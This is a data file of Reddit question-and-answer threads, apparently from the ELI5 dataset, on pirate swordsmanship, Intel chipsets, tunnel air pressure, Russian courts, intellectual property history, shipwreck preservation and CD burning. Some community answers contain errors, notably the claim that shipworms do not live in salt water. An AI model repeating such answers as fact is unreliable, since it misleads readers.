{"q_id": "6e5182", "title": "How good would the average pirate have been as a swordsman? What about as a shot?", "selftext": "Forgot to add time period, I mean golden age Caribbean pirates of the kind usually portrayed as excellent fencers in film. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6e5182/how_good_would_the_average_pirate_have_been_as_a/", "answers": {"a_id": ["di7xden", "di8u8ms", "di8wg5w"], "score": [44, 18, 24], "text": ["Maybe some more specificity would help you get some answers: what time period? Pirates today are probably bad with swords, for example. What area? Pirates in the South Pacific wouldn't carry the same equipment as those in the North Atlantic. What do you mean by \"average\"?", "The buccaneers of the Caribbean in the 17th century were excellent marksman. \n\nThey began as a multi-national community of mainly English, Dutch and French ex-seamen who were dissatisfied with the tyrannical nature and terrible working conditions of navy ships or merchant vessels. They found a lucrative business as hunters of the wild boars that inhabited the land. The buccaneers would sell hides, meat and tallow in exchange for hunting tools, musket rifles, gunpowder and shot, and general provisions.  The name \u2018buccaneer\u2019 actually comes from this practice. The hunted meat when cured was called boucan. The hunters were then called Boucaniers by the French, which led to the English calling them Buccaneers. They were mainly concentrated around the Northwest of Hispaniola, now Haiti, and the islands surrounding it such as Tortuga.\n\nWhile they sometimes hunted passing trading vessels when there was a lack of optimal hunting or bad weather, it was not their primary livelihood.  This changed in the 1630\u2019s when the Spanish in Santa Domingo felt threatened by the ever-increasing poaching practices of the buccaneers and led a systematic slaughter of the cattle and wild swine that the buccaneers hunted. This completely backfired however as the livelihood of the buccaneers suddenly vanished and the only other option they had was to resort to piracy. Throughout the 1630\u2019s there was increased Spanish aggression against the buccaneers. This culminated in a massive offensive in 1638 where the Spaniards attacked the buccaneers safe haven\u2019t of Tortuga. The Spanish slaughtered many buccaneers and burnt down as many buildings and plantations as they could but the buccaneers survived and.  \n\nI'm not too sure on their swordsmanship but they were incredible marksmen. \n\nJ. G. Marx, \u201cBrethren of the Coast\u201d, in D. Cordingly(ed), Pirates: terror on the high seas, from the Caribbean to the South China Sea, (East Bridgewater, 1998)\n\nJ. Burney, History of the Buccaneers of America, (New York, 1907)\n\nD. Mitchell, Pirates, (New York, 1976)", "To answer this, the first thing that needs to be addressed is your mention of how pirates are portrayed in film. The way pirates are portrayed in film, with grand adventure and bombastic, swashbuckling sword fights, is not a very accurate depiction of pirates during the Golden Age, but more of a romanticized portrayal.\n\nThe truth is, being a pirate in the Golden Age was filled with a lot of downtime, and when they did find a ship to plunder, normally there wouldn't be any casualties on either side. \n\nPirates typically used schooners or sloops, which were very light, but very fast vessels. Unless they were led by a skilled captain, they weren't going to be winning any battles against something like a Man-of-War (Stede Bonnet being a prime example of that). However, they could swiftly sail close to poorly armed merchant ships and board them before they could attempt an escape.\n\nOnce boarded, most crews would give up whatever goods they had, and the pirates would let them go on their way once all of the plunder had been acquired. There were of course instances where pirates were met with resistance, but that was an exception to the rule.\n\nBecause of this, it's actually quite hard to find a substantial amount of documentation on how skilled pirates were as sword fighters. However, there is at least one famous documented skirmish involving pirates that could be seen as reminiscent to the swashbuckling action of a pirate movie, and that would be the Battle of Ocracoke Inlet between Blackbeard and Lt. Robert Maynard of the British Royal Navy\n\nThe Battle of Ocracoke Inlet is the only recorded instance of Blackbeard ever engaging in a sword fight. While I can't find anything on the quality of swordplay from his crewmen, Robert E. Lee's *Blackbeard The Pirate, A Reappraisal of His Life and Times* documents the battle as so.\n\n > Blackbeard waded into the melee, swinging his great cutlass. It was a wild windmill attack that no one in front of him could repel with a blade. He had to be stopped by a pistol shot or by someone from the rear. Both methods were tried. Blackbeard from time to time supplemented his blade swinging with a pistol snatched from the bandolier of pistols across his chest. These were single-shot pistols, thrown aside after being used.\n\n >  An heroic touch was given to the battle by the ferocious confrontation of Maynard and Blackbeard\u2014the champion of law and order and the champion of piracy\u2014face to face. In this epic struggle, one or the other had to be annihilated. When they met, each pulled a pistol and fired. Blackbeard was being rushed at the time from all sides, and his shot missed its target. But the shot discharged by Maynard plowed through the great body of Blackbeard. It failed to halt him, however; he fought on with fury.\n\n > In the heat of combat they engaged each other with swords. A powerful blow of Blackbeard's cutlass snapped off Maynard's sword blade near its hilt. A blow of such terrific force would ordinarily have knocked the sword flying, but apparently Maynard was holding it with a frenzied grasp. Hurling the hilt at his adversary, Maynard stepped back to cock his pistol and at the same instant Blackbeard moved in for the finishing blow with his cutlass. But at the moment in which he swung his cutlass aloft, a British seaman approached Blackbeard from the rear and gave him a \"terrific wound in the neck and throat.\" The cutlass, raised for the finishing blow, swerved as it came down merely grazing the knuckles of Maynard, cutting them slightly.\n\nIt may also be worth noting that Blackbeard did serve as a seamen for the British Royal Navy during Queen Anne's War, and would've been trained in gunnery and swordsmanship. Whether or not many other pirates in the Golden Age came from a similar background is a subject that is up for debate, as very little is known about the backgrounds of even the most well documented pirates."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1r5mjr", "title": "difference between intel chipsets", "selftext": "I cannot understand the different Intel chipsets.  I know the current ones are Z87, H87, H81, Q87, Q85, and B85, but I'm trying to build a new computer and can't figure out what's best.  Can someone ELI5 the differences between them?  Are they even notable?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1r5mjr/eli5_difference_between_intel_chipsets/", "answers": {"a_id": ["cdjtja6", "cdjwtfd"], "score": [5, 9], "text": ["Wikipedia has a pretty table with all the differences : _URL_0_\n\nIf you need help building a PC, you should check /r/buildapc\n", "Generally, you'd want to get a motherboard with the right chipset based on your needs, such as overclocking or RAID. For example,\n\n- Z87 - full overclocking support\n- H87 - limited overclocking (to the point where the multiplier is locked, around where the max Turbo frequency is)\n- H81 - same as H87 but with less USB and SATA ports supported natively\n- Q87 - same as H87 but has a few extra features, such as VT-d support\n\nThere are also other things you may want to look out for. Another example, if you're overclocking, you may want to look into a motherboard with sufficient VRM cooling, ones with heatsinks over them.\n\nEdit: formatting\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/LGA_1150"], []]}
{"q_id": "3dhyz9", "title": "how atmospheric pressure works in deep tunnels", "selftext": "So I was looking at this [BBC infographics](_URL_0_) related to sea and underground depths and I'll have to admit this is all over my head right now. As I understand it, \"active\" pressure when you dive down underwater increases more or less progressively and can end up killing you if you reach great depths. Ok. I can understand how water progressively pushes on you, because it's everywhere around you. But how does this dynamic work in underground tunnels, where you're not being pressured by the surrounding rock (or maybe you are?) because you're in a tunnel filled with air?\n\n\nFor example, if you decided to build a tunnel 5km deep in the earth and walk through it, would you actually feel the pressure listed through the air around you, basically dying? The BBC infographic says that at 1km underground the pressure is that of 330 atmospheres, but we have mines and underground tunnels at like 600-700m underground so I presume if air is present none of this matters, right?  Would the air around you protect you from the pressure produced by the rock no matter the depth? Could we build an underground city like Cappadocia's but like... 10 km underground and live there, or would we all choke? \n\n\nPS: I'll be quite thankful for a simple explanation of the general dynamics involved, obviously, all the questions in the second paragraph are just me scratching my head about it all. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3dhyz9/eli5_how_atmospheric_pressure_works_in_deep/", "answers": {"a_id": ["ct5bmk3", "ct5ck9r"], "score": [2, 3], "text": ["When in an underground tunnel, sea or ground, the tunnel supports almost all that weight. Also, it is not that things get more dense because they are closer to the earth but because they do have to support *alot* more weight, which causes the increase in pressure. So when you are underground, the ceiling or walls of that tunnel is what is supporting all that weight of the stuff above. Also, the air pressure does increase, because air has a tendency to go to places of lower altitude, and it is why as you go up air gets thinner, and you go down and it gets thicker.", "Right now there is a column of air above you that is approximately 50 miles high.  That column of air is pressing on you at 14.7 pounds per square inch. In general as you go deeper there is a taller column of air above you making more pressure. \n\nCompared to water, air is a lot less dense.  This is why you can go much deeper in the air than you can in water.  In saltwater every 33 feet of depth adds another 14.7 PSI of pressure.  In mines you need to go approximately  3200 feet to add another 14.7 PSI.\n\nThe details of all of this vary with a lot of factors and is actually a very complicated subject but this is the basics of it."]}, "title_urls": [], "selftext_urls": ["http://www.bbc.com/future/bespoke/story/20150306-journey-to-the-centre-of-earth/index.html"], "answers_urls": [[], []]}
{"q_id": "6bbrhi", "title": "In Fyodor Dostoevsky's \"The Brothers Karamazov\", the lawyer Fetyukovich says \"the Russian courts exist not only for punishment but also for the salvation of the ruined man!\". Did the Russian court system in the 1860s actually function like this and if so how?", "selftext": "A larger quote is \"Is it for me, insignificant as I am, to remind you that the Russian courts exist not only for punishment but also for the salvation of the ruined man! Let other nations have the letter and punishment, we have the spirit and meaning, the salvation and regeneration of the lost. And if so, if such indeed are Russia and her courts, then onward, Russia!\"\n\nFetukyovich says this at the end of his last speech at the end of chapter 4.12.13 \"An Adulterer of Thought\". It's on page 747-748 of the 1990 translation by Richard Pevear and Larissa Volokhonsky, published by Farrar, Straus, and Giroux. Did Russian courts have a form of [jury nullification](_URL_0_) allowed in their court system?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6bbrhi/in_fyodor_dostoevskys_the_brothers_karamazov_the/", "answers": {"a_id": ["dhlh5zn"], "score": [18], "text": ["One of the salient features of Russian intellectual life after the Great Reforms (GR) was the estrangement of the intelligentsia from the state and its structures. A number of Russian *intelligent*s felt that while Western European polities were progressing to a more liberal society, the Russian system remained mired in an arbitrary autocratic system that reflexively attacked modern developments. The GR period itself engendered this disillusionment as it for a brief period opened up hopes for greater political changes. GR institutions like the *Zemstva* did have a more open political order, but many of the reforms never went far enough to sate hopes for change. One of the exceptions to the half-measures of GR was the Russian court system. \n\nThe 1864 judiciary reform set up an independent judiciary, a jury system and Russian bar system that allowed for the professionalization of law. The first generation of Russia's nascent political party's leadership came from the Russian legal system. The courts themselves relatively open and were among the freest spaces in imperial society. The GR set up a jury system that allowed for male Russians from different walks of life to serve. In the distant provinces, this meant that peasants could be called upon to try their peers. Trials were also now public and the salaries of judges were increased to prevent corruption. In contrast to other GR institutions, the post-GR judiciary enjoyed a degree of unparalleled  independence in an autocracy.\n\nBut being a more liberal institution in an autocracy is not exactly a high bar and Russian courts still had a number of illiberal components. Jury selection still favored literate upper-class individuals even if the statutes allowed for a wider juror composition. The law might have been an open profession, but there were still high barriers to access to education that made the law a very restricted profession. Nor did the open court system mean that Russian policing was also progressive. Secret police monitoring and arbitrary arrests were facets of the Russian system that were obvious to many contemporaries. \n\n*Pace* Fetukyovich, the Russian courts were neither as free or as open as their analogues in the West. While the West's court system in this period too was mired with problems and illiberal practices it was a more open legal system compared to the Russian case. Moreover, there was a wide variation between legal standards and judicial systems within the Empire. Baltic, Polish, and Finnish legal systems operated differently than their analogues in Russia while Central Asian law tended to walk a confusing line between delegating to Islamic justice and strengthening a colonial order that privileged Great Russian settlers. But by the standards of other Great Reforms institutions, the Russian judicial system was a much more transparent and forward-looking institution than other aspects of the Russian state. \n\n*Sources*\n\nClowes, Edith W., Samuel D. Kassow, and James L. West. *Between Tsar and People: Educated Society and the Quest for Public Identity in Late Imperial Russia*. Princeton, N.J.: Princeton University Press, 1991.\n\nLincoln, W. Bruce. *The Great Reforms: Autocracy, Bureaucracy, and the Politics of Change in Imperial Russia*. DeKalb, Ill: Northern Illinois University Press, 1990.\n\nWeeks, Theodore R. *Across the Revolutionary Divide: Russia and the USSR, 1861-1945*. Chichester, West Sussex: Wiley-Blackwell, 2011. "]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=uqH_Y1TupoQ"], "answers_urls": [[]]}
{"q_id": "1ivkxt", "title": "When did 'intellectual property' become stealable and plagiarism become taboo?", "selftext": "This arose out of a conversation my SO had with an Egyptian PG student who was completely baffled by the western obsession with plagiarism and intellectual property. As far as she was concerned essays they wrote were hybrids of other people's ideas and work but crediting them wasn't necessary. The idea that someone could own a phrasing of an idea or even the idea itself was just plain odd to her.\n\nIn which case to what extent is ownership of ideas a western cultural construction and is there a traceable evolution of the concept?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ivkxt/when_did_intellectual_property_become_stealable/", "answers": {"a_id": ["cb8i0nv", "cb8inr1", "cb8ivfl", "cb8jumb", "cb8qc1r"], "score": [4, 3, 44, 15, 5], "text": ["Eh, the two major developments would be the Paris Convention and the Berne Convention. [_URL_1_](_URL_1_) [_URL_0_](_URL_0_)\n\nBoth of them date from the late 19th century and are roots of modern IP law. It's worth noting that they are civil law influenced, rather than common law, so there have always been issues with common law countries interpreting them in slightly different ways. Civil law countries tended to focus on the creator, the droits d'auteur, whereas copyright and patent would be more of a common law definition. It's not uncommon for the residual authors' rights to be ignored in American law (usually by contracting to exclude them) which wouldn't sit easily with the conventions as intended. ", "I don't know where this fits in to the evolution exactly but the distribution / piracy of \"A Trip to the moon\" is an interesting step. Georges M\u00e9li\u00e8s invested 10,000 Francs in the movie in 1902. The movie was being shown around London, some of Edison's men bribed a theater owner, obtained a copy of the print and Edison distributed the film around America without paying M\u00e9li\u00e8s who soon went bankrupt.\n\n_URL_0_\n\n\n\n_URL_0_", "Check out the answers in [this recent thread](_URL_0_) as they get at the same question. The idea of book \"piracy\" is very old, around abouts the 15th century or so, but the notion that you were infringing on _the author_ rather than _the publisher_ (or the guild of publishers) is something that came about during the Enlightenment and is very connected with Western notions of \"genius.\" The construction of intangible ideas as a form of \"property\" is very much connected to where one thinks ideas come from (are they products of unique brainpower, inspirational zaps from God, or picked up from your surrounding environment?) which was also evolving in Western thought during this time.\n\nThe classic article on this question is: Martha Woodmansee, \"The Genius and the Copyright: Economic and Legal Conditions of the Emergence of the 'Author',\" Eighteenth-Century Studies, Vol. 17, No. 4 (Summer 1984), 425-448. You are correct that this is very much a Western concept and that it arose under the result of very specific cultural, economic, and political conditions. That it would be alien to other cultures is for that reason not super surprising, though these days the economic incentives for the West to propagate the idea through international treaties is very high.", " >  plagiarism and intellectual property ... The idea that someone could own a phrasing of an idea or even the idea itself was just plain odd to her\n\nI don't think these are quite the same.  While intellectual property is about owning ideas (or other abstract things), plagiarism is more about honesty (or the lack there of).  Whether or not something is plagiarism depends on whether or not the author is perceived as claiming the idea as his own when it is not.  It isn't about the original author or the plagiarist \"owning\" the (discussion and/or use of the) idea, it's about honesty with regards to the origin of the idea.  ", "I published this in a law journal a few years ago, it may provide insight:\n\n\"It was not until 1837 that Prussia and the German Bund introduced copyright law. Prior to this, authors needed to ensure sufficient compensation with their first publication run because, as soon as the text was available 'in the wild', no legal remedies were available against (in today's parlance) so called 'pirates', i.e. other publishing houses. It was this - from today's perspective - ironic situation that Immanuel Kant drew attention to in 1785 in his essay, 'On the Illegality of Book Republishing' with the following remarks:\n\n'The volume which the publisher allowed to be printed is a work of the author (opus) and belongs to the publisher after it has been printed or acquired in the form of its manuscript entirely, in order to do anything with it, as he desires, and which can be done in his own name; since this is the requirement of having a complete right to an item, i.e. ownership. The use, however, which he makes of it in a way not different from another [...] is a transaction (opera)[...].' (Kant in Berlinische Monatszeitschrift 5 (1785), p. 403 et seq.)\n\nInsofar as this, Kant distinguishes between the item (res) and transaction (opera). Fichte concretizes this idea: 'We could make two differentiations with respect to a book: the bodily aspect thereof, the printed paper, and the intellectual content.' Fichte, however, does not see a violation of ownership in the perpetuation of use of intellectual property without a license but, rather, a transaction without assigned agency [in Common Law: agency of necessity]: 'And how is the book republisher to be treated? He is taking possession - not of the property of the publisher, not of his intellectual content, not of his thoughts - but rather of the usufruct of the property. He is acting in the name of the publisher without having been given agency to this effect, without having reached a consensual transaction with him, and is seizing the benefits which arise from this representative position[...].' (Fichte in Berlinische Monatszeitschrift 5 (1793), p. 443 et seq.)\n\nIt is indeed the case that in ius commune as in today's valid German law the transfer of ownership of an item requires its physical transfer (ius commune: traditio), and for this reason Kant and Fichte consider it to be physically impossible to transfer ownership of the intellectual contents of an item. For this reason they speak exclusively of an usufruct and not - as in today's common and incorrect parlance - of 'theft' or 'piracy', but rather of agency of necessity. Viewed historically the polemicisation of the 'copyright' debate is clearly evident.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Berne_Convention_for_the_Protection_of_Literary_and_Artistic_Works", "http://en.wikipedia.org/wiki/Paris_Convention_for_the_Protection_of_Industrial_Property"], ["http://en.wikipedia.org/wiki/A_Trip_to_the_Moon#Distribution"], ["http://www.reddit.com/r/AskHistorians/comments/1itaxc/did_copyright_as_a_stateprotected_individual/"], [], []]}
{"q_id": "3z5jvm", "title": "if facebook is vigilant about spam, why do we still see that ray ban sunglasses spam after years of reporting it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3z5jvm/eli5if_facebook_is_vigilant_about_spam_why_do_we/", "answers": {"a_id": ["cyjd6k6"], "score": [2], "text": ["[deleted - this isn't about advertising as I'd thought, it's about fake users friending people with a ray-ban related request, so my answer wasn't right.]\n\nFound this for you though, may be something helpful here: _URL_0_ "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://truxtertech.com/how-to-handle-those-sunglasses-tag-spammers-on-facebook/"]]}
{"q_id": "4a3q11", "title": "Was there anybody in the Nazi party who didn't want to invade Poland, for fear of being dragged into a war with Britain (whom Hitler saw as natural allies of a racially pure Germany) ?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4a3q11/was_there_anybody_in_the_nazi_party_who_didnt/", "answers": {"a_id": ["d0xkwlc", "d0xlk1z"], "score": [64, 9], "text": ["Interestingly enough, Hitler himself was somewhat apprehensive about British intervention over Poland. Obviously this isn't to say that Hitler was somehow not committed to the Polish invasion - he most certainly was - but it is worth noting the consideration he gave to the consequences such a move would have *vis a vis* Britain. I suppose that I am dodging your question in that I don't know of any Nazis who outright opposed the invasion. However, you have touched on an interesting topic within the lead-up to WW2, namely Hitler's attitude toward Britain, which is worth exploring. \n\nHitler had long desired some kind of understanding with Britain. In November 1933 he had begun working toward an Anglo-German Naval treaty and got it in June 1935 over the opposition of his own foreign ministry and the German navy itself. At the time he insisted that \"An Anglo-German combination would be stronger than all the other powers.\" The British ambassador in Berlin, Sir Eric Phipps, noted that Hitler had \"an almost touching solitude for the welfare of the British Empire.\" On the eve of the Polish invasion Phipps' replacement, Sir Nevile Henderson reported that Hitler had assured him that he \"always wanted German-British understanding.\" One could construe this as apprehension on the part of Hitler concerning a potential war with Britain. \n\nWe can of course question Hitler's sincerity in all this. However, with regard to Poland we see evidence that he meant it. When Britain pledged itself to guaranteeing Polish independence Hitler was dismayed, stating that he \"couldn't grasp\" what they were \"really after.\" Post 1939 Hitler was known to openly doubt \"the desirability of the dissolution of the British Empire.\" In addition we see themes of Anglo-German unity in Nazi propaganda. A briefing note from the Propaganda ministry said that \"sooner or later the valuable Germanic element in Britain will have to be brought in to join Germany in struggles of the white race.\"\n\nThe sum of all this is that there is reason to believe that Hitler himself was not initially desirous of war with Britain and that he may well have hoped that the Polish invasion would not bring it about. So while this post unfortunately hasn't pointed to any explicit opponents of the Polish invasion within the Nazi party I hope that it has gone some way to highlighting that Nazi apprehensions regarding a war with Britain over the invasion did exist and did so in the mind of Hitler himself.\n\nMuch like one of my previous posts here I have based this answer on the relevant sections of Niall Ferguson's *The War of the World.* If you want a good read on 20th century conflict then Ferguson's work is a great book to get stuck into.          ", "It is difficult to answer whether there was anybody inside the party's upper echelons who publicly opposed this, however a large number of people were \"ordinary members\" of the Nazi party, roughly 10% of the whole German population at peak. \n\nThere was a loose coalition of government (e.g. Ernst von Weizs\u00e4cker), and army officials (e.g. Maj. General Hans Oster, Col. General Ludwig Beck), although only some of these people were members of the Nazi party (as up to 10% of the German population was at peak). These people were divided into two camps, those who simply did not want a war, and those who wanted to remove the Nazis from power. In 1938, they were developing plans, known as the *Oster Conspiracy*, which would have seen Hitler removed from power had a war broken out over Czechoslovakia.\n\nPoland, specifically, came after this, and at the peak of Hitler's personal power. The Conspirators had been dealt a significant blow by the diplomatic successes of 1938, although they would still go on for the most part to continue plotting to kill and/or replace Hitler through to the end of the war. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "10ib43", "title": "What factors preserve wood shipwrecks?", "selftext": "If I remember correctly, the salt in the water plays a major role in the preservation of the wood. \n\nIs there a depth at which shipworm are out of range?\nIf a piece of wood breaks off, is it too water-logged to float? Type of wood matter here?\nAny significant differences between driftwood and a shipwreck?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10ib43/what_factors_preserve_wood_shipwrecks/", "answers": {"a_id": ["c6dro4u", "c6du7b2"], "score": [2, 6], "text": ["Cold temperatures help but the most dramatic effect is an anoxic environment.  Well preserved shipwrecks have been discovered in the  Baltic and Black Seas, largely because the low oxygen of the bottom water hinders shipworms.", "There are many things that preserve shipwrecks.\n\nYou might be surprised to hear that *fresh* water wrecks are more well preserved than salt water wrecks.  This is because the shipworms (which are not worms at all, but mollusks) don't live in salt water.  Then again, in certain freshwater environments you have lots of zebra or Quagga mussels, and the sheer weight of these can collapse a wooden wreck.\n\nIn \"typical\" oceanic wrecks, you see a few different site formation processes.  One common wreck type you see is a \"filet-o-ship\", where the ship's iron fastenings break down, and the ship splits apart and \"filets\" itself.\n\nWhere you have a sand or mud bottom, you typically see everything under the sediment staying nicely preserved, and everything on top of the sediment is just *gone*.  So it's very common for us to have one side of a ship up to the turn of the bilge, for instance.\n\nIf it's a rock or gravel bottom and the wreck didn't settle in, you might only have a pile of ballast stones and concretions, with maybe a little bit of wood under that stone. \n\nTo sum it up, the factors are where the teredos can go.  If they can't live at all, you have excellent preservation.  If they can live there, then wherever they can't physically access is preserved.\n\nDepth, temperature, salinity, and oxygenation all affect the ability of Teredo to thrive.  We've already talked about salinity.  Oxygen levels are important - very low oxygen levels in water mean well-preserved wrecks, like in the Baltic.  Extremely cold water also helps, but if ice forms, it will damage the wreck.  Depth is inversely correlated with temperature (you find cold water at depth), so that also helps.  I'm not aware of an absolute depth limit for shipworms, but I'm also not an expert on their biology.\n\nAfter the shipworms eat a wooden ship (which they can do very quickly - within a few years), their calcified tubes can make the ship appear to be more intact than it is, but those tubes will eventually demineralize and fall apart.\n\nAnother factor is the energy level at the site.  In a \"high energy\" site (where there's a lot of wind, wave, current, and general water transport  over the wreck), you'll have physical processes that eat away at the wood.  The sand can act like a sandblaster and literally physically remove the wreck's wood.\n\nYou ask about driftwood.  Driftwood is exposed to weathering effects, and a constant dehydration/rehydration cycle that can mess up the cells in the wood.  Naturally, every piece of driftwood is different, and some (like the [Old Man of the Lake](_URL_0_)) have been floating around for ages.  Hydrodynamic stability helps there, as does a freshwater environment and a relatively low-energy body of water.\n\nFinally, the composition of the wreck itself is a factor.  If there's a lot of iron, the corrosion products from wood-iron contact will help preserve the original surface of the wood in a matrix of iron product."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Old_Man_of_the_Lake"]]}
{"q_id": "6pm6du", "title": "how does hotel tv redistribution work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6pm6du/eli5_how_does_hotel_tv_redistribution_work/", "answers": {"a_id": ["dkqntfd"], "score": [2], "text": ["The hotel gets a system from the TV provider (satellite or cable). It allows for a certain package of channels, locally generated content, and pay per view billing. The signals are combined into one cable and distributed throughout the building via multiple bidirectional amplifiers, trunk cables, and taps. The amps feed trunks with a high level signal, and the trunks send a bit of it to each tap. Usually 8 outputs per tap. It works like a sprinkler hose which has tiny holes all along its length. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5stzu1", "title": "when burning a cd, does a 4x vs a 1x write speed change the quality of the end product? is there anything different about a 4x vs any other speed other than, speed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5stzu1/eli5_when_burning_a_cd_does_a_4x_vs_a_1x_write/", "answers": {"a_id": ["ddhu9h9", "ddhx220", "ddi110g", "ddi612a"], "score": [21, 24, 11, 3], "text": ["The crystalline surface of the CD will turn opaque when hit by the laser at the right power and frequency. That's what makes the 0's and 1's that would be later interpreted as digital data.\n\nDepending on the quality and materials used in the CD, the period of time that the laser has to be applied on a fixed spot varies. When each spot requires less exposure to the laser beam, less time would be needed to burn them, thus increasing the average burning speed.\n\nIt is wrong to assume that slower burns provide better results. Actually, good quality CDs and DVDs *require* more speed (less beam exposure) otherwise the media would get damaged.\n\nIdeally the media should be burned at the manufacturer's recommended speed. No more, no less.\n", "I always thought this harkened back to the old days of CD burning, where buffer underruns occurred frequently.  A buffer was created for the data being burned, and if the buffer emptied before the burning process is complete, it would fail.\n\n  Burning at a slower speed (1x) meant you didn't empty the buffer and cause problems. However if your PC could handle it, you could attempt to burn at faster speeds (4x).", "I worked at a mastering studio for a while where we produced pre-master CD's for mass duplication (this is a step below the \"glass master\" disk) and we always burned them at 1x. \n\nThe writing mechanism has digital error correction which is applied to the data stream being burned. The faster you send/burn data, the more errors are being processed and corrected midstream. A slower burning speed supposedly cut down on the amount of errors being transmitted and corrected, resulting in higher data fidelity and less digital \"noise,\" dithering, and/or artifacts (noise being \"error corrected data\" not actual audible sound)\n\nEDIT: just want add that this was strictly for master quality disks that would be used to reprint large volumes. when it comes to making consumer quality copies or something for your personal consumption, the difference is negligible and undetectable. ", "My car radio can read 4x written CDs but not 16x written ones, so there's definitely a difference in the quality. Slower = fewer write errors, faster = more errors. Normally you shouldn't notice a difference though. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "rkxdt", "title": "Desalination in nature: using vegetation to harvest fresh water. ", "selftext": "**Basic questions:**  Is there any known sea-living plant life that during the photosynthesis process converts seawater into \"fresh\" water?  Could this process be harnessed to create a viable drinking water source?\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rkxdt/desalination_in_nature_using_vegetation_to/", "answers": {"a_id": ["c46n7al"], "score": [3], "text": ["Destillation, as EncyclopaediaBrown stated is one. For example, you don't neccesarily need fire. If there are trees or bushes anywhere near, you can take a big plastic bag and tie it over a set of branches & leafs. The sun will evaporate(/destill) fresh water in the bag."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "18po47", "title": "Romanov Heirs?", "selftext": "I recently finished the book Nicholas and Alexandra, about the final Russian imperial family. In the epilogue the remaining Romanovs were discussed and their histories. However the book was written 50 years ago. Who would be heir to the throne in 2013?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/18po47/romanov_heirs/", "answers": {"a_id": ["c8guxn4"], "score": [5], "text": ["[Wiki](_URL_0_) actually has a very interesting description of the controversy surrounding exactly that question."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Line_of_succession_to_the_Russian_throne#Succession_controversy"]]}
{"q_id": "4lywna", "title": "since each side of your brain controls vision from the opposite side eye, do people who are born blind in one eye have any brain/vision problems as a result of only one side of the brain handling vision?", "selftext": "was curious to know", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4lywna/eli5_since_each_side_of_your_brain_controls/", "answers": {"a_id": ["d3r97mq"], "score": [3], "text": ["TL;DR:  Each eye sends signals to both hemispheres of your brain.  Different parts of your field of vision are mostly split into different paths, but the division isn't really 100% and some fibers run with \"wrong\" paths.  There are some eye/brain interface conditions listed at the bottom of the post.\n\nELI-high school student:  \n\nThe optic nerve goes from the back of each eyeball and the two meet in an intersection, known as the optic chiasm (also spelled chiasma sometimes), an X-shaped crossing just above the pituitary gland and slightly in front of the midbrain.\n\nAt the crossing, the lateral (outer peripheral) field from each eye stays in the same hemisphere that it started from but the medial/nasal visual field (inside) crosses to the opposite hemisphere.  These parts of the \"X\" are after the chiasm and known as the optic tracts.  They junction with the thalamus, a part of the midbrain that receives all sensory input (except smell and a few \"minor\" senses).  There's a cluster of nerve bodies here, and the information is relayed from one neuron that brought it to another that takes it further down the pathway.  They're going to relay their information to the cortex, where it's interpreted by \"higher\" thinking centers.\n\nAfter the thalamus, there is further division of the nerves called optic radiations that divide from the thalamus and pass through the parietal lobe (Barum's loop) and temporal lobe (Meyers loop) before reaching the visual cortex in the occipital lobe at the back of the brain.  Each radiation contains information from each eye, though superior, inferior, medial, and lateral visual input are mostly separate prior to rejoining in the calcarine fissure of the occipital lobe.  That's where your brain \"puts together\" the input as a meaningful image.\n\nSome input is diverted from this pathway to the oculomotor nerve, pituitary gland, pineal gland, etc., but the lion's share goes to the occipital lobe.\n\nComplete knockout of one eye's input takes a problem in the eye itself or its optic nerve before the chiasm, but will have impacts upon both hemispheres of the brain.  Knockout of one of these later pathways can destroy a very specific part of your visual field, such as only your top-left quadrant.\n\nWhat diseases can result from eye/brain disagreement?  Two that come to mind are [amblyopia](_URL_0_) and [Charles Bonnet Syndrome.](_URL_1_)\n\nIn amblyopia, your brain ignores the input from an eye to the point that you are no longer capable of seeing out of it.  It's often due to your brain's attempt at reducing double vision from two eyes that don't point in the same direction as a result of structural or muscular problems, but there are other causes.\n\nIn Charles Bonnet syndrome, your brain begins inventing things for you to see in the form of visual hallucinations when its input is deemed \"unsatisfactory.\"  Patients are fully aware that what they see isn't real, but it's often vivid and persistent images that their brains create.\n\nEdit:  punctuation\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Amblyopia", "https://en.wikipedia.org/wiki/Visual_release_hallucinations"]]}
